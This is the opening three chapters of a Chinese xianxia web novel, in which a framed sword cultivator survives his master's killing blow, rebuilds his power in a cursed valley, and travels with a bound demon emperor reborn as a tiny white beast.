《第一剑修陨落后》
1. 第一章 死地逢生
“沉墨清!你勾结魔族,屠戮浩然宗五百余人,天地不容!万死难赎!”
“师尊已昭告天下,将你逐出师门!九千州再无你容身之地,还不伏诛!”
万丈高崖,寒风凛冽,松柏尽折。
沉墨清手持霜寒长剑,乌发如云,红袍猎猎,临渊而立,面不改色。
有人高居云端,义愤填膺:“可怜小师弟之前还拖着病体为你求情,你却一剑废他灵脉!师尊耗费心头血与无数天材地宝才勉强救回,至今仍未醒来!”
“哦?”沉墨清长眉一挑,“他还没死?”
“你居然毫无悔意!”
“就算小师弟加入宗门后受师尊偏爱,天赋不逊于你,你也不该出于嫉妒对他下此狠手!”
“还有浩然宗五百多个正道楷模!到底哪里得罪了你,要遭此灭门惨祸!”
“昔日空谷幽兰的大师兄,怎会变得如此丧心病狂,灭绝人性!”
千夫所指,众口铄金。沉墨清持剑孤立,身形未折,如一株绝岸上破岩的血染青竹。
有人越众而出,剑冠白袍,背负双手,居高临下,将沉墨清乌发下苍白清绝的脸庞和红袍间一把削瘦腰脊尽入眼底。
他言辞恳切:“师兄,此地皆是师门之人,没有外人。”
“你可以引颈受戮,也可以选另一条路。”
沉墨清剑锋插地,以此支撑身躯,眼帘略略一抬,望向自己这位二师弟:“愿闻其详。”
公孙不识温言道:“废你灵脉,断你手足,留你一命——做我们的炉鼎。”
纵横九千州,风采凌绝的年轻一代剑道第一人,沦为他们身下,日夜不得见光的炉鼎……
“看在师门情谊,我们自会护你周全。”
宗门人皆可尝的禁脔,自然是要藏于禁地深处,不为外人所知。
沉墨清笑了。
他这一笑,如冰雪消融,光照万川,令在场数人为之动容。
所有人皆听得他的笑语:“好啊。”
那道因为被连月追杀而略微沙哑的嗓音,依然如雨后清竹般泠然沉静——一如他们初入宗门,初见这位自云端落至他们身前,为他们引路的大师兄。
公孙不识喉结微微一滚。
有风急掠,剑声起。
数千万道剑气凌厉交织,纵横呼啸。璀璨至极的剑光如大日初升,光华万丈,破开层云,遮天蔽日。
“不好!是诸天万象阵!!”
公孙不识急退至众人身后,脸上笑意俱碎。
——诸天万象,皆为罗网。坠网之人,皆做尘泥。
天枢宗宗主首徒沉墨清自创的剑阵,以此剑阵封魔神,镇魔渊,一战闻名九千州。
也以此剑阵,屠戮浩然宗,血染青山长河,三十日未能洗净方圆数百里的血气。
狂风剑声伴随着惊叫四起,众人惊骇万分,他们从未想过有朝一日大师兄居然会对他们用诸天万象阵,更没想过,明明已经身负重伤、穷途末路的大师兄,居然还有绝境翻盘的余力!
沉墨清独立崖岸,双手交叠于插地的长剑剑柄,凛风卷动血色长袍,勾勒出的挺拔身形如直指天穹的利剑,飞扬青丝之下,双目轻阖,鲜血自眼角滚落,滑过毫无血色的冷冽侧脸。
万千剑光映照于身,塑造出一尊清冷无俦的杀神。
撕裂天地的杀阵之下,众生皆如蝼蚁,围猎者与猎物的立场瞬间逆转。这些天骄胆丧魂惊,根本没有对抗的勇气,不约而同地祭出所有本命神通与保命法门,拼命想要逃出这十死无生的绝地。
高天之外,降下一道冰瀑般浩瀚壮阔的剑气。
昔日全盛之时无人可匹敌的诸天万象阵,此刻阵眼之人本就是强弩之末,在这道全力一击的剑气之下,剑阵只撑过了三息。
剑阵碎,无数剑光破散,宛若天地降下一场暴雨,淋漓泼洒于绝岸山崖。
沉墨清七窍流血,缓缓抬首,那双夜雨浸透的寒铁一般的眼眸穿透高空,眸中毫无惧意,唯有嘲讽。
“可惜。”
他的嗤笑,淹没在降临的冰瀑剑光之中。
第二道剑气,震断周身灵脉,碾碎了他的剑道根骨。
第三道剑气,将他拦腰横斩,四肢尽断。
悬崖塌陷,地崩山摧。他再无力握住自己的剑,陪伴多年的长剑尘芥脱手,几不成形的身躯直坠深谷。
最后一道剑气,当着所有人的面,径直穿胸而过,搅碎心脏,灭绝神魂——至此,生机全无。
这位九千州年轻一代第一人的残躯化为血雨泼淋而下,还未坠进不见底深崖,就被狂风卷散。
神魂俱灭,再无轮回。
萦绕在高崖四周的云层散开,露出下方的无边深谷,无数鲜红禁制游走于空气之中,使得整片深谷被血光淹没,晦暗不清。
一道负剑身影踏空而立,停在深谷上方。
“师尊!”
“宗主!”
无形的威压横扫,众人俯首,无人敢抬头。
一袭白袍,宛若天山雪境的白发仙尊俯视深谷,周身萦绕冰霜剑气,吐出淡漠二字:“可惜。”
公孙不识恭谨弯腰,衣袍之下的指骨微微攥紧。
可惜……
以师兄的根骨天资,若能成为他的炉鼎,必能助他登上青云。
可惜……
明知他的心意,明知他这数月屡次冒着被宗门发现的风险传书,却从不回应他。
若愿意回首,怎会落到如此境地。
飞鹤传信,很快,修真界皆知——
数月前,勾结魔族、残害同门、屠戮浩然宗上下五百余人的罪人沉墨清,被其师尊——天枢宗宗主玉百斩杀于周国北境,尸骨无存。
纵横九千州的第一天骄陨落,并无多少人惋惜,天枢宗更是一切如常。
毕竟,他们还有另一位天骄,一位据说天赋完全不逊于沉墨清的剑道天才,玉百的关门弟子,就连沉墨清也为之嫉恨的小师弟。
宗门未来,依然光辉灿烂。
只是偶尔有人提起,沉墨清是否还有复活可能——很快就被人嘲笑否决。
沉墨清的确是修真界年轻一代第一人,第一个不到百岁的化神大圆满,在魔渊一战中更是突破至炼虚初期,继最年轻的化神之后又是最年轻的炼虚期,天资惊人到令人发指。
——但,他的师尊玉百,乃是名副其实的剑修之首,大乘巅峰。
玉百之剑,名为“阎罗”。阎罗点卯,有死无生。一剑就足以斩灭神魂,断绝轮回,而沉墨清足足受了自己师尊四剑,可见师徒情谊深厚。
更何况,他坠崖之地是五千年前妖皇陨落的北境,凶煞之气千年不散,就连合体期大能也不敢深入,只恐有去无回。
毋庸置疑,沉墨清必死无疑。
——七天后,深谷之下,沉墨清苏醒。
他躺在一片荒芜的草地上,残肢以红色枝木相连,缓缓拼凑在一起,缺失的部分被新生枝干填补,毫无血色的惨白肌肤遍生红枝纹路,宛若一株萎靡的红莲。
一袭破损的红袍,浸透了不知几遍鲜血,红到发黑,早已辨不清鹤纹天青的底色。
浑身剧痛,钝刀凌迟也不及万分之一的痛楚没有让沉墨清落泪,那双灰霾的眼眸凝视血红的天空,片刻后,缓慢而无声地笑了。
死而复生,当然不是因为他鸿运齐天、受天道垂怜,而是他早就备下的后手。
——枯木回春令。
遗失数万年,传言修真界第一位登天的仙人所造之令符,具有逆转生死、改天换命之能。
三年前,被他复刻。
在屠戮浩然宗、一剑穿过他小师弟心口之前,他就将这枚令符刻入自己躯体。
不到死境,不见春。
北境飘下一场冷雨,数千年煞气凝结之地,每一根雨丝都化作利刃刮过皮肤,擦出长长血痕。
无法动弹的沉墨清静静阖目,任由千万雨丝化为降下的尖刀,在他身上割开层层叠叠的血口,缓慢地撕下一条又一条皮肉,直至露出红枝缠绕的白骨。
新渗出的血迹再次染透白骨与乌黑墨发,氤氲在雨水中,铺开融化了的山水墨卷。
天地之大,唯他一人,独听风雨。
他喃喃低语:“娘,我想吃桂花糕……”
家门前的桂花树,焚于烈火。
全城数千口人家,一夕之间尽灭。
眼前似有血色翻涌,腥味冲鼻,沉墨清呕出大片大片猩红,混着碎肉残块,几乎要呕出五脏六腑。
直到体内鲜血悉数流尽,才有新的红枝刻入胸前苍白肌肤,沿着肌理分明的小腹攀爬至胸口,宛若从血肉中绽放的红莲,最终停在离心脏数寸之地。
四肢已然复原,沉墨清强咽下喉中血腥,忍住天旋地转的剧痛,翻身而起,就地打坐,吐息纳气。
昔日灵气充盈的灵海已化为一片荒芜死地,清晰可见的剑道根骨,也被连根毁去。
拥有修行资质之人生来自带根骨,不同资质的根骨决定不同修行方向——三道以下的根骨为下品天资,四道五道
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为中品,六道七道为上品,八道至九道是上上品,十道根骨者则是千年难遇的天资大圆满,注定要踏足此道巅峰的绝世天骄。
——曾有一人生来即拥有十二道剑道根骨,是修真界数万年才出的第一天才,其名沉墨清。
修为尽废,还可重修,但玉百全力斩下的四道剑气彻底搅碎了他的剑道根骨——根骨被废后无法重塑,修真界剑道天资第一人,此后再无踏上剑道可能。
沉墨清心绪如镜,波澜不起。
天下千千万万条道,未必只有一条道可走。
从刚才起他就发现,此间无数煞气蕴含庞大灵力,对修士而言,这些煞气会直接损伤他们的根骨,如同无解的至毒,腐蚀灵海,最终修为尽损,命丧黄泉。
刚好,现在的他根骨俱废,灵海已毁——也死不了。
枯木回春令,逆转生死的代价是再无轮回,死后灵魂永坠幽冥,受千万年烈火煎熬——那些红色枝条穿过心脏,就是他命陨之时。
——但在那之前,春不去,不死不灭。
沉墨清盘坐泥地,借这一场洗涤天地的大雨,碎骨摧筋,重塑灵台。
雨汇成浅泊,大大小小的镜面映出晦暗天幕下乌发红衣的倒影,层层涟漪之中,一双猩红的眼眸睁开。
刹那间,无数透明雨滴定格,转为深红,仿若将人间拽入血色幽冥。
一双漠然的猩红眼眸穿透千万雨丝,照映人间,停在沉墨清的脸庞之上,定了一定。
定了两定。
定了三定。
暴雨骤停,有风徐来,拨开乌云。
苍舜自长久的沉睡中苏醒,第一眼见到的人间,就是那个人。
容貌绝丽,身姿如剑。
伤痕累累,根骨尽毁。
……怎么会受这么重的伤?
被人欺负了?
那双冰冷的猩红眼眸微微眯起。
【本尊——】
“咪呜。”
一声软软的幼崽叫声。
苍舜:“?”
【本——】
“咪。”
“???”
昔日的妖皇不可置信地低头,看向自己。
白色的。
小小的。
一只将将两三个巴掌大小的幼兽,似猫似豹,兽耳圆润,赤瞳溜圆,尾巴细长,雪白的毛毛蓬松乱炸,炸成了毛绒绒的一小团。
雪白小兽一脸不可置信,不敢相信,毛绒绒地追着尾巴转了一圈。
“咪!”
叫起来奶奶的。
“……”
昔日的妖皇陛下决定闭嘴。
气咻咻地坐在地上,毛毛更炸了,炸成蓬松的一大团。
沾到了一身雨水。
更气了,又爬起来,飞快甩毛抖水。
忙成一团,不知道在忙些什么。
沉墨清微微抬起眼帘,古井无波的眼眸乌冷地映出那只转来转去的幼小妖兽。
察觉到他的注视,苍舜转过脑袋,微扬下颌,霸气而倨傲——看起来是一只毛茸茸的雪白小兽瞪大了圆溜溜的眼睛,高高仰着小脑袋。
沉墨清静默,再次阖上眼帘。
苍舜不紧不慢地溜达到他身边,围着他打转,就像发现了一座漂亮的冰山,时不时凑近一点,试图用爪子扒拉扒拉。
“咪?”
你怎么连根骨都没啦?
谁欺负你啦?
沉墨清不知听没听懂,鸦羽般的眼睫静静垂覆。
转圈圈的妖皇发现自己白蓬蓬的毛毛沾到了泥点子,想也不想往沉墨清的袍角蹭蹭。
一股淡淡的香气,飘入他的鼻间。
好香。
那双赤红的眼眸微定,倒映出沉墨清被雨水打湿,黏连几缕青丝的苍白而绝丽的侧脸。
苍舜一声不吭地再凑近一点,又嗅到了这个年轻的人族修士身上,哪怕雨水泥污也掩盖不住的阵阵幽香。
……有点好闻。
雪白小兽下意识啃一口沉墨清手指,留下一圈小小的牙印。
沉墨清:“……”
他积攒了片刻力气,睁开无波无澜的乌沉眼眸,一言不发地拎起这只居心叵测的幼小妖兽。
发现自己居然被轻而易举地拎了起来的雪白小兽绒毛炸炸,开始乱挥爪子,扭来扭去地扑腾,发出大声的“咪呜”。
活似一只炸开的棉花团。
沉墨清一口咬了下去。
苍舜:“???”
“咪!!!”
2. 第二章 咪咪呜呜
被咬了一口的妖皇陛下安然无恙地回到了地面。
皮太厚,咬不动,只掉了几根毛。
雪白小兽睁大了圆溜溜的兽瞳,盯着那几根飘在地上的毛毛,一下炸成了一大坨蓬松的棉花球,发出愤怒的咪呜声。
沉墨清无动于衷,继续闭目修炼。
苍舜:“……”
连道歉都没有!
道不同,不相为谋!
妖皇陛下愤怒地走了,头也不回,背影坚决——很快,那一团愤怒的毛茸茸身影就哗啦啦踩着水泊,消失在了远处。
没过多久。
一只湿漉漉的、雪白毛毛沾着不少泥点子的小毛绒球回来了,冷冰冰地盯着那个人族修士。
他无法离开这个人族五十尺外。
他们之间多了某种特殊的契约,要解开不难,只要他恢复往日修为的一半——又或者,现在就杀了这个人。
他是太初墟诞生的大妖,世间没有任何事物能束缚他。
冰冷的猩红妖瞳划过寒芒,滔天妖力掀起无形巨浪,随时能将那一叶轻舟般弱小的人族修士压垮。
沉墨清独坐不动。
因为下过一场大雨,他的乌发与红袍皆湿,身姿挺拔,如被水汽浸润的林间修竹。
他的左眼眼尾有一颗浅淡的泪痣,点缀在苍白肌肤间,像宣纸落下的一点墨迹。
苍舜盯着那颗泪痣,一动不动,就这么盯了小半盏茶的时间。
……气莫名消了一小半。
算了。
他才不屑于欺凌弱小。
毛茸茸的雪白小兽瞪着圆溜溜的兽瞳,气呼呼地一屁股坐在那个人族旁边。
沉墨清眼帘不抬,专心致志地运转初入门时的修行心法,任由那只幼小妖兽不停地用爪子挠他衣角。
等苍舜报复般地把这个人的袍角划拉成一条一条的破布时,才听见那道山涧冷泉般清悦的嗓音:
“怎么,妖皇陛下不杀我了?”
一句话,令白日骤暗,翻涌的晦色之中,一双猩红妖瞳幽冷明亮,如日长燃。
【你如何认出本尊的】
妖皇的声音毫无温度,沉墨清眼眸未睁:“你龙章凤姿,器宇轩昂。”
苍舜:“……”
雪白小兽低头看看自己,毛茸茸的脊背挺直,软乎乎的胸膛昂起了一点。
确实。
“我还猜,你是靠我的血苏醒的。”沉墨清鸦羽般的眼睫微掀,幽黑眼眸如无波的湖面,“你杀不了我。”
苍舜:“?”
“咪!”
【那你还咬我!】
沉墨清:“顺口的事。”
苍舜:“???”
他才沉睡多久,怎么就如此世风日下!
现在的人族真是一届不如一届!
——不对!
苍舜妖瞳微眯。
【你能听见本尊的话?】
沉墨清不置可否。
从这只幼小妖兽出现起,他的耳边不仅多了一声声咪咪呜呜,还有一道低沉傲慢的男声。
那并不是读心——如果这位妖皇陛下不开口咪咪呜呜,他也听不见其他的声音。
“上古妖语,金声玉振,确实非同寻常。”
苍舜嗤笑,摇了摇毛绒的细长尾巴。
“咪!”
【那是自然】
雪白小兽又开始围着沉墨清绕圈圈,每一步都踩住他垂地的袍角。
【既然认出本尊,也知道本尊抬手就能碾死你这只虫子,居然不怕?】
沉墨清:“昔年魔渊现世,魔族祸乱人间,天道将塌。妖皇以身为盾,陨落之后,人间五千年,未见魔气。”
他平静地说完这番话,就阖上眼眸,再度开始修炼。
雪白小兽静静踩着他的衣袍,片刻后,慢悠悠地跳到他的腿上,趴了下来。
被沉墨清抬手扫了下去。
苍舜:“???”
等他恢复一半修为,立马解开契约!
他绝不会在这个人族身边多待一刻!半刻!
雪白小兽气呼呼地扭过身躯,愤怒地背对那个人,留下一个异常冷酷的圆润背影。
之后一天一夜,一人一妖再未有过交流。
不知过去多少个时辰,沉墨清从长久的打坐中出定,腹部一阵烧灼。
修为尽废,和凡人无异,当然也会疲惫和饥饿。
北境没有活着的生灵,他也无法走出这里——好在附近遍生野草,那些草根同样蕴含煞气和灵力,就当是瞎眼的天道短暂复明了半刻。
趴在一旁的苍舜无意间扭头,溜圆的妖瞳一下睁大了。
【你疯了?】
【这是人能吃的吗?】
【不准吃!有泥!】
一连串“咪咪呜呜”和低沉的男声重叠,雪白小兽围着沉墨清跳来跳去,不停拿毛茸茸的爪子推他。
发现沉墨清不理他,只是一味平静地吃草,雪白小兽嗷嗷得更大声了。
耳边两重声音一刻不停,仿佛点燃了的小炮仗,吵得一刻不得心静。沉墨清冷静地咽下酸涩的草汁,闪电般出手,往幼小妖兽嘴里塞了一撮草根。
猝不及防被塞了一嘴的苍舜:“……”
这日子过不下去了!
第二天,苍舜跟着沉墨清嚼草根。
无他,因为妖皇陛下气愤地发现,这个人族修士饿的时候,早已辟谷的他居然同样会饥肠辘辘。
——他的血将他从数千年的沉睡中唤醒,也刻下无形的契约,让两人产生了不仅是身体上,还有更深入的联系。
吃素的妖皇咀嚼着令人恼火的契约,眼眸如浸寒水。
一旦离开此地,他就找其他方法解除契约。
最多半年他就会重获自由,再也看不见这张讨厌的脸。
一只苍白的手递了过来,骨节匀称修长,曲起的弧度如玉雕竹节,薄白掌心躺着一簇新鲜的草叶。
苍舜盯着这只手看了三秒。
慢吞吞凑过去,就着他的手嚼嚼。
手收回去了。
不喂,自己吃。
苍舜:“……”
最多三个月!他一定会解除契约!
他绝不会和这个讨厌的人族待一起!!
……
萧既白一睁眼,入目就是古香古色的屋子,清雅的淡香飘荡在屋内,四周都是简雅素净的装潢。
“这是哪?”
屋内没有其他人,却有一道声音凭空响起:“宿主,是落鹤峰。”
落鹤峰,昔日天枢宗宗主首徒沉墨清的住所,此刻已换新主。
萧既白环顾左右,对那些看着就一点也不昂贵华丽的摆设毫无兴趣,只是微微点了下头:“师尊对我还是很好的嘛。”
他在床上磨蹭了半个时辰才起来,背着双手,在不大的屋子里兜兜转转,边看边啧啧摇头:“还不如宗门掌事的屋子,不行,明天我要重新装修一下。”
“宿主,您睡了小半年,已经落下不少修行了。”
“急什么,以我现在的天资,随便修炼一分钟,都比得上别人一个月刻苦用功。”
萧既白不以为意,从储物袖里掏出一面镜子。
这是他从系统那里换来的法器,可以偷窥和他修为相差一个境界以内的修士,时限三分钟。
很快,镜子里浮出一道白衣身影,默立在一片竹林之间。
萧既白没忍住噗嗤一声:“公孙不识还真是痴情,居然立了衣冠冢。”
他一屁股坐在床沿,单手摩挲身下素色床褥,环顾四周,冒出一句:“其实沉师兄对我也挺好的,除了爸妈,就属他对我最好了。”
他听见系统询问:“您不在乎那一剑?”
萧既白缓缓挑起嘴角:“他不是用命来偿了吗?”
系统无言,萧既白往床上一躺:“我想要师兄的那把剑,要多少积分?”
“有主之剑,无法用积分兑换。况且宿主您欠下的积分已经分期六百期了。”
“哎呀,债多不压身嘛。”萧既白毫不在乎地摆摆手,双手垫在脑后,“三十年河东,三十年河西,莫欺少年穷!”
系统:“您不是少年,也确实穷。”
“……等我认真修炼起来,必定一日千里!到时候,什么宗门宝物没有?”
萧既白目光灼灼,胸口一阵热血上涌。
“等将来,登天为尊,踏破虚空——”
他的声音忽然低了下来。
“然后,就能回家了。”
——
苍舜百无聊赖地趴在一小片草堆上,两只爪子交叠垫着下巴。
那个年轻的人族修士已经不眠不休地修炼了两个月,日夜交替,未曾有一刻停歇。
此地的煞气,其实是当年消亡的魔渊和他陨落的躯体融合之后产生的力量遗留,每一丝煞气不仅带有腐蚀一切的魔气,还蕴含来源于天道的澎湃灵力。
这个人族不停地吸收煞气,任由那些魔气腐蚀他的皮囊血肉,将自己身躯作为过滤的容器,最终留下灵气沉淀于丹田。
此等方法,就连妖皇都觉得惊世骇俗。其他修士哪怕是沾染些许煞气,都足以身死道消——然而,连续六十多天一次又一次强纳煞气,以腐蚀身体的代价吸收灵力,这个年轻人族居然还没有死。
就算不死,那万蚁噬心般持续不断的剧痛也足以摧毁任何一个修士神智,可苍舜观察了几十日,这个人族修士的心性居然坚如磐石,纹丝不动。
此人若走仙道,必如大日凌空,光耀寰宇。若入魔,则是蛟行长渊,要吞天噬日。
没有在意某只妖皇的眼神变化,沉墨清心神沉凝,如坐无澜镜湖。
此前数日,他将吸收而来的所有灵力皆用于淬炼自身,犹如投入天道熔炉,受烈火浇身,天雷劈体,千锤百炼。
此刻,尽管他一丝修为也无,经过这数万次的天道淬炼,加上不死不灭的枯木回春令,他的体魄强悍程度已堪比普通的金丹初期——此后随着修为增长,还会不断精进。
地基已铸成,正是重踏登天之时。
苍舜察觉到周围煞气剧烈波动,迅速向一方汇聚,微微眯起妖瞳,声音低沉:
【逆天而为,所求过急。行事太戾,未必有善终】
沉墨清双目紧闭,脸色苍白,额间渗出一层细汗,闻言浅笑:“若我非要逆天改命呢。”
苍舜不语,缓缓站了起来。
凡人如蜉蝣,生命何其短暂,又不受天道眷顾,需要与天地争夺灵气,才能换来一线攀爬长阶、登临大道的机会。
所以,人族的修行之路,又名“登天”。
他们不如妖族,生来就能自然地汲取天地灵气,修行事半功
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倍——普通修士快则十几年,慢则数十年,才有机会突破第一境的炼气期。
此后登天,如横渡激流,起起落落,稍有不慎,身死道消。
苍舜冷漠地移开目光。
死了也好,反正他死了,他就自由了。
下一秒,他又迅速转过了头——四周煞气汇聚的速度太快,太过庞大,似乎覆盖整个北境千年的煞气,皆向此地涌来!
翻腾的黑气如无边之海,将那道修长削瘦的身影包裹吞没,很快有血气爆开,血沫残肢染红层层黑雾,卷成血色涡旋。
【停下!你不要命了!】
苍舜一步踏出,万千雷霆轰然爆开,炽烈雷光照亮那双愤怒的赤红妖瞳,向煞气倾轧而下,却又停滞于空。
他忌惮着会误伤那个轻轻一掐就能掐死的弱小人族,举棋不定,气得咬牙。
时间漫长得仿若千年,又仿佛只有那么短短几个须臾。
煞气散去,风停云静。荒芜开裂的大地之上,只剩下一具独坐的骨架。
雷光瞬消,苍舜气得在旁边转圈圈,爪子深挠地面,似乎有那么几个瞬间都想扑过去,将那具骨架撞碎算了。
又一个呼吸间,红色枝木绕过森白骨架,枯木前头万物春。
白骨生血肉,再覆新肤,生死轮转,阎罗绕行。
半个时辰后,沉墨清睁开眼眸,墨黑眸底幽深无光,乌发白肤,宛若从不见天日的深林古潭浮出的一尾黑蛟。
已是炼气巅峰。
苍舜:“……”
他第一时间扭过脑袋。
【现在……现在的人族修士都如你这般?】
沉墨清:“我资质平平,和一些人比不过沧海一粟,自然要奋力一搏。”
死生轮转一回,他的嗓音依然沉静冷淡,只是因为疲惫而有些低弱沙哑。
苍舜没吭声。
背对着他,一点余光都不往他这边瞥,飞快跑远了一点。
沉墨清低头,看见自己的模样,了然而不以为意。咬破指尖,以指为笔,在空中绘符。
很快,一套普通青衫披于身,掩住大片苍白。他的乌发以木簪略略挽起几缕,散在腰后。
原本的容貌被遮掩,覆上一张新脸,眉目平平,见之即忘。
苍舜瞥了一眼,转过脑袋,不爱看。
过了两秒,又转回脑袋,瞥了一眼。
再过两秒,又瞥了一眼。
……不知为什么,明明这个讨厌的人族已经改变了容貌,他的眼睛依然无法从他身上掰开。
……肯定是因为那个破契约!
没有理会某只挠地的妖皇,沉墨清检视起了自己的灵海。
昔年他修炼之初,从炼气巅峰一步跨至筑基中期,现在他的灵力虽已足够,离突破筑基却多了一道异常强大的阻碍。
——枯木回春令。
那枚鲜红令牌高悬于他的灵海之上,划出一道拔地而起的天堑,阻隔在他面前。
此后每跨过一个大境界,他都必须攀过这道天堑,如同一场再次登天。
如若失败,不是折损修为,而是立即身死,魂飞魄散,此后永不入轮回。
沉墨清的神识静立在天堑之下,遥望那道高悬的令牌,犹如数万年前,第一位登天的仙人对望苍天。
那就来试试吧。
看你能否再让我跌落。
苍舜不知何时溜达到了沉墨清身边,扫了眼空中缓缓消散的符文,微嗤一声。
【原来你是符修】
他还以为是剑修,毕竟世间缺心眼的修士共一石,剑修独占八斗。
沉墨清笑了笑,青衫随风微飘,乌发落于身侧:“我要走了。”
苍舜不理。
沉墨清:“听说妖皇的皮毛也和龙肝凤髓一般,是天道至宝。”
苍舜:“?”
沉墨清指着一边:“那些你不要吧?”
这些天,这只妖皇到处打滚,自己就掉了不少毛毛。
方才煞气翻涌,都没能卷动这些到处散落的雪白绒毛。
苍舜欲言又止,瞪了沉墨清半刻,冷酷地一扭头。
他才不与弱者计较。
沉墨清:“谢谢您。”
苍舜:“……”
不得了,还知道尊称了。
沉墨清花了大半天时间才收集完一堆散落的雪白绒毛,用手搓成几颗小毛球,收入袖中,双手交叠,对苍舜施了个敬礼,转身离开。
苍舜依然趴在草堆上,仰头望天,不紧不慢地甩动尾巴。
——不到一盏茶的时间,沉墨清去而复返,一言不发地盯着苍舜。
他无法离开这只大妖十五尺内。
看来,他的血浸透妖皇的命陨之地,不仅唤醒了这只沉睡的大妖,还让他们之间多了无形的契约。
苍舜早有预料,愉悦地眯起眼睛,甩了甩长长的毛绒尾巴,下颌微昂。
一副“你求本尊啊”的模样。
沉墨清上前一步,精准无误地捏住雪白小兽软软的后颈皮——像提溜一只猫崽子似的,直接把这只妖皇拎了起来。
苍舜:“???”
【你怎么敢——】
雪白小兽被迫悬空,露出柔软肚皮,气嗷嗷地挥舞爪子,大声咪咪呜呜,又炸成了蓬松松的一大团毛绒球。
毛茸茸地被沉墨清拎走了。
3. 第三章 咪咪
修真界共有九千州,六千下州、两千中州、一千上州,每一州都是一个大千世界。
九垓州是面积最大的上州,境内既有最负盛名的修真大国周国,也有修真界第一大宗门,天枢宗。
周国的数十万传送阵连接大大小小诸多世界,因为东临天枢宗,东境的数万传送阵皆无需灵石,可免费通行。
”快看!是天枢宗弟子!”
传送阵前,一行年轻男女负剑而来,广袖飘飘,引人侧目。
他们是天枢宗外门弟子,接到宗门任务,要前往其他下州。
作为修真界第一大宗,天枢宗资源无数,自然也不缺传送阵——这些弟子依然选择外界的传送阵,一路走来,享受着无数炙热与讨好的注视。
途经一人,无动于衷地静站在路边,队伍末尾的天枢宗弟子便转头瞥了一眼。
那人的素白帷帽半笼青衫,帷帽垂落的薄纱下沿是一双修长如玉的手,抱着一只圆润可爱却灵力低微的小兽,轻纱飘起,露出一张平平无奇的面庞。
天枢宗弟子毫无兴趣地收回目光,听见前方自己师兄师姐低声抱怨。
“掌事偏心,把内门不要的脏活累活都丢给我们,明明以前……”
以前,“那位”代掌宗门事务,管束之下的宗门任务皆按实力划分明确,一视同仁。
“才过多久,就变天了……”
“快别说了,听说宗主有意将尘芥赐给萧师兄呢。”
尘芥,仅次于“阎罗”的第二名剑,是天枢宗宗主首徒沉墨清独闯极危秘境,以仙人遗留之仙铁铸造出的一柄惊世杀伐之剑。
此后,尘芥随其主人斩魔族,镇魔渊,一战封神,闻名九千州。
沉墨清身死,尘芥也被其师尊玉百回收。
一对雪白的毛绒兽耳微微竖起,那些天枢宗弟子自以为外界无法窥探的密谈,清晰地落入苍舜耳边。
他懒散抬眼,从这个角度可以望见那个人族清秀的下颌,那双削薄的唇毫无起伏弧度,不喜不怒,平淡无澜。
不久前,他们还在周国北境,要借隐匿符穿过定向传送阵。
被毛茸茸拎走的某只妖皇还在生气,咸咸地说:【你不过炼气,离开这里,也躲不开你的仇家】
沉墨清不语,只是绘了一张低品隐匿符,再取出一根雪白绒毛。
苍舜还没反应过来,就见他的绒毛被沉墨清顷刻炼化——一张上品隐匿符成。
苍舜:“???”
沉墨清显然也没想到自己能瞬间炼化苍舜之物,想来还是这只妖皇帮了他,摸摸妖皇尊贵的小脑袋,算作感谢。
苍舜:“……”
他才没有!!
妖皇陛下松软的毛毛又炸了起来,显然不能理解这个人族为什么能一下炼化他的东西。
今天能炼化他的毛,明天岂不是就能——
沉墨清很是随意地摸了一把炸成蓬松棉花团的小毛绒球,很是不经意地将掉下来的两根细白绒毛放进了袖子里。
苍舜:“…………”
借着那张以妖皇皮毛炼成的上品隐匿符,他们穿过北境边缘的传送阵,没有留下任何痕迹。
此刻,就算玉百站在他的面前,一炷香内,也无法窥破他的伪装。
东境的传送阵启,这是一道连通诸多下州的大型阵眼,从上州前往下州容易,但要从下州登临上州,非上州本土与宗门弟子,难如登天。
沉墨清抬眼,目光穿透万千流转的阵纹,投照繁华厚重的古城,高耸城墙遥远的顶端,缥缈云层之上,悬浮一座宏伟壮丽的宗门虚影。
下次再见,即是问剑。
他头也不回,踏上阔然大道。
——
东州,六千下州中的一个小州。西南之地,山清水秀,风吹竹林映江面。
牛车在山野间穿行,一位黑衣束发的年轻人坐在后方,闭目盘膝,身姿挺拔。泥道颠簸,稻谷时不时撞他身上,也不影响他修炼。
一只圆溜溜的雪白小兽趴在他旁边,闲得无聊,时不时抬起爪子,拨弄他垂落腰间的高马尾。
时隔千年再见人间,苍舜十分兴致勃勃,在沉墨清耳边一声一声问这问那,咪咪呜呜,也不管会不会吵到人家。
【魔渊呢?】
【本尊沉睡这么些年,你们仍知魔渊,想必是再度现世了】
“已被封印。”
【哦?谁做的?】
沉墨清不语。
苍舜翻了个身:【肯定不是你,若你镇住了魔渊,何至于会落到如此下场】
沉墨清轻笑:“有道理。”
一枚叶子从空中飘落,雪白小兽脑袋随之移动,忽地往前一扑,轻巧抓住,又在半空扭身,跳回沉墨清身上。
得意洋洋地甩甩尾巴。
拨弄了一会叶子,腻了,又要去扒拉赶牛车的老人家种的稻谷玩。
被一只修长的手轻轻按住毛绒爪子,塞了回去。
【小气】
苍舜哼哼,过了一会,又抬爪拨弄垂在眼前的乌黑发尾。
日到中午,牛车从乡间赶到附近一座小城。城门口排着长队,泥地里支起一架馄饨摊,从锅内散发蒸腾热气。
架着牛车的老人瞄了眼那馄饨摊,咽了口唾沫,黝黑开裂的双手从衣兜里摸出小半张冷硬的饼。
沉墨清来到馄饨摊边,掏出为数不多的几枚铜钱要了两碗馄饨,邀老人家同坐。
皮薄馅多的馄饨坠入滚烫清汤,在葱花间起伏翻腾。老人口重,抖着手加了几大勺辣子,红油泼在清汤表面,一口鲜辣热汤滚腹。
沉墨清也往自己碗里加了一小勺辣油,刚执起汤匙,就见两只毛茸茸的雪白爪子搭在桌子边沿,一只小脑袋也搁了上来,一眨不眨地盯着他的碗。
沉墨清想起数月间这只巴掌大的小兽跟在自己身边嚼草根的样子,掏出最后几文钱,又要了一份馄饨,连碗带汤匙一起买下,轻轻推到苍舜面前。
【那个,我也要】
苍舜伸爪去够辣油罐子。
沉墨清不语,只是用买下的汤匙舀起一勺清汤,滴了一小滴辣油。
苍舜就着他的手喝了一口汤。
“……”
毛毛炸炸的,嘶哈嘶哈。
一声不吭地把脑袋埋进了自己的清汤。
四两馄饨下肚,老人面皮上浮出微醺的热意,手背抹抹油花嘴角,道一声“仙人大德”,赶牛车进城去了。
“咪。”
雪白小兽从空空的碗里仰起脑袋。
【还有吗?】
沉墨清掀起袖子,表示两袖之间只剩清风。
一路行来,他用自己所画的低级符箓换的一点灵石已经没了,这几天他们都是睡在野外的。
苍舜冷静地思考了片刻,又“咪”一声。
【要不然你把我的毛拿去卖了换钱?】
